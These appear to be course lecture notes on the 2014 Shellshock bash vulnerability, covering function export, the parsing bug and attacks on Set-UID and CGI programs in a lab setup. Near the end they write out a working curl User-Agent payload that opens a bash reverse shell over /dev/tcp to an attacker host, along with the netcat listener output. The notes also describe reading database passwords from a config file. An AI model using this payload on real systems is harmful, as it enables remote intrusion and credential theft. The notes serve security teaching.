Shellshock Attack
Origin
- A severe vulnerability was found in the bash shell program in 2014.
- Bash programs are used by many web servers to process CGI requests.
- Exploitation allowed attackers to run arbitrary commands on web servers.
- Impacted millions of computers.
- This vulnerability was named Shellshock.
Background: Shell Functions
- A shell program is a command-line interpreter in operating systems.
- It provides an interface between the user and the operating system.
- Different types of shells include sh, bash, csh, zsh, and Windows PowerShell.
- Bash shell is a popular shell program in Linux OS.
- The Shellshock vulnerability in bash shell involves functions defined inside the shell, called shell functions.
Background: Declaring and Removing Shell Functions
- The first command defines the shell function.
declare -f
is used to print shell function definitions.unset
is used to remove a shell function.
Passing Shell Function to Child Process
- The Shellshock vulnerability involves passing a shell function definition to a child process.
- There are two methods for a child shell process to inherit a function definition from its parent.
Method 1:
- Define a function in the parent shell.
- Export the function using
export -f foo
. - When a child process is created, it will inherit this function, provided the parent process is also a shell.
Example:
$ foo () { echo "hello world"; }
$ declare -f foo
foo ()
{
echo "hello world"
}
$ foo
hello world
$ export -f foo
$ bash
(child): $ declare -f foo
foo ()
{
echo "hello world"
}
(child): $ foo
hello world
Method 2:
- Declare a shell variable, e.g.,
foo
. - Assign a value that starts with parentheses followed by commands in curly brackets, e.g.,
() { echo “hello world”; }
. - Export this shell variable, e.g.,
export foo
. - Run a bash program from this shell; it will run as a child bash process. In the child process, the shell variable becomes a shell function.
Passing Shell Function to Child Process: Approach 2
- Define an environment variable. It will become a function definition in the child bash process.
Important Notes
- The space between
() {
in the declaration of foo
is significant. - When a shell variable is marked with the
export
command, it will be passed down as an environment variable. - If the program executed in the child process is a bash shell program, it will convert the environment variable into a shell function.
Comparison of Approaches
- Both approaches utilize environment variables.
- In the first method, the parent shell passes each exported function definition as an environment variable when creating a new process.
- If the child process runs bash, the bash program converts the environment variable back into a function definition, similar to the second method.
- The second method does not require the parent process to be a shell process. Any process can pass a function definition to the child bash process using environment variables.
Shellshock Vulnerability Details
- The Shellshock vulnerability, also known as bashdoor, was publicly released on September 24, 2014, and assigned CVE-2014-6271.
- The vulnerability stems from a mistake in how bash converts environment variables to function definitions.
- The bug had existed in the GNU bash source code since August 5, 1989.
- Following the initial discovery, several other bugs were found in the widely used bash shell.
- Shellshock refers to the family of security bugs found in bash.
Shellshock Vulnerability Explanation
- A parent process can pass a function definition to a child shell process via an environment variable.
- Due to a bug in the parsing logic, bash executes commands contained in the variable.
- When a child process is created, the child shell parses the environment variable, and due to the bug, bash executes commands after the closing curly bracket.
Mistake in the Bash Source Code
- The Shellshock bug originates in the
variables.c
file in the bash source code. - In the code, bash checks if there is an exported function by verifying if the value of an environment variable starts with
() {
. - Once found, bash replaces
=
with a space. - Bash then calls the
parse_and_execute()
function to parse the function definition. - This function can parse other shell commands, not just function definitions.
- If the string is a function definition, the function will only parse it and not execute it.
- If the string contains a shell command, the function will execute it.
Detailed Explanation with Example
Bash identifies a string as a function because of the leading () {
and converts it. For example, Line A becomes Line B:
- Line A:
foo () { echo hello; }; echo Content-type: text/plain
- Line B:
foo () { echo hello; } echo Content-type: text/plain
The parse_and_execute()
function will then execute both commands.
Consequences
- Attackers can force processes to run their commands.
- If the target process is a server process or runs with privileges, security breaches can occur.
Exploiting the Shellshock Vulnerability
Two conditions are needed to exploit the vulnerability:
- The target process should run bash.
- The target process should receive untrusted user inputs via environment variables.
Shellshock Attack on Set-UID Programs
- A Set-UID root program starts a bash process when it executes the program
/bin/ls
via the system()
function. - The environment set by the attacker can lead to unauthorized commands being executed.
- The
system()
function uses fork()
to create a child process and then uses execl()
to execute the /bin/sh
program.
Attacker Environment Setup
- Attackers can set the environment for a privileged bash process on the local machine to exploit the Shellshock vulnerability and run commands with the target process’s privileges.
- The program calls
setuid(getuid())
to run the real user ID into the effective user ID. - In Ubuntu,
/bin/sh
is a symbolic link to /bin/dash
. To demonstrate the attack, the symbolic link needs to be changed to /bin/bash
using sudo ln -sf /bin/bash /bin/sh
.
Vulnerable Program Invocation
- The program will invoke the vulnerable bash program. The attack constructs a function declaration.
Attack Definition
- The attack defines a shell variable
foo
. - This shell variable is exported, so when the Set-UID program (vul) is run, the shell variable becomes an environment variable of the child process.
- Because
system()
invokes bash, it detects that the environment variable is a function declaration. - Due to the bug in the parsing logic, it ends up executing the command
/bin/sh
, resulting in a root shell.
Shellshock Attack on CGI Programs
- Common Gateway Interface (CGI) is utilized by web servers to run executable programs that dynamically generate web pages.
- Many CGI programs use shell scripts, and if bash is used, they may be subject to the Shellshock attack.
CGI Program Setup
- Two VMs are set up for the experiment: one for the attacker (10.0.2.70) and one for the victim (10.0.2.69).
- A simple CGI program (
test.cgi
) is written using a bash shell script. - The CGI program is placed in the victim's server’s
/usr/bin/cgi-bin
directory and made executable. curl
can be used to interact with it.
Web Server Invocation of CGI Programs
- When a user sends a CGI URL to the Apache web server, Apache examines the request.
- If it is a CGI request, Apache uses
fork()
to start a new process and then uses the exec()
functions to execute the CGI program. - Because the CGI program starts with
#!/bin/bash
, exec()
executes /bin/bash
, which then runs the shell script.
Data Flow into CGI Programs
- When Apache creates a child process, it provides all the environment variables for the bash programs.
- Data from the client side gets into the CGI program’s environment variables.
Modifying User-Agent Field
- The
-A
option of the command-line tool curl
can be used to change the user-agent field.
Launching the Shellshock Attack
- The
/bin/ls
command is executed. - Web servers typically run with the
www-data
user ID in Ubuntu.
Stealing Passwords
- Web applications connecting to back-end databases need to provide login passwords.
- These passwords are often hard-coded in the program or stored in a configuration file.
- Passwords can be retrieved from files such as
/var/www/CSRF/Elgg/elgg-config/settings.php
.
Creating a Reverse Shell
- Attackers run a shell program by exploiting the Shellshock vulnerability to gain access and run arbitrary commands.
- Instead of running
/bin/ls
, /bin/bash
can be run. - Since
/bin/bash
is interactive, simply including /bin/bash
in the exploit will execute it on the server side without allowing control. - A reverse shell involves redirecting the standard input, output, and error devices to a network connection.
- This allows the shell to get input from and output to the connection, enabling attackers to run commands and receive the output on their machine.
Setting Up a Reverse Shell
- Start a netcat (
nc
) listener on the Attacker machine (10.0.2.70). - Run the exploit on the server machine with the reverse shell command.
- Once the command is executed, a connection from the server (10.0.2.69) is established.
- Use
ifconfig
to check the connection. - Commands can now be run on the server machine.
Reverse Shell Command Details
- The
-i
option stands for interactive, redirecting the shell's standard output to the TCP connection to 10.0.2.70's port 9090. - File descriptor 0 represents stdin, and 1 represents stdout. The command uses stdout as stdin.
- Since stdout is redirected to the TCP connection, the shell program gets its input from the same TCP connection.
- File descriptor 2 represents stderr, which is redirected to stdout (the TCP connection).
Shellshock Attack on CGI: Get Reverse Shell
$ curl -A " () { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1" http://10.0.2.69/cgi-bin/test.cgi
seed@Attacker (10.0.2.70) $ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.69] port 9090 [tcp/*] accepted
bash: cannot set terminal process group (2106) :
bash: no job control in this shell
www-data@VM: /usr/lib/cgi-bin$
www-data@VM:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Summary
- Function definition in Bash.
- Implementation mistake in the parsing logic.
- Shellshock vulnerability.
- Exploiting the vulnerability.
- Creating a reverse shell using the Shellshock attack.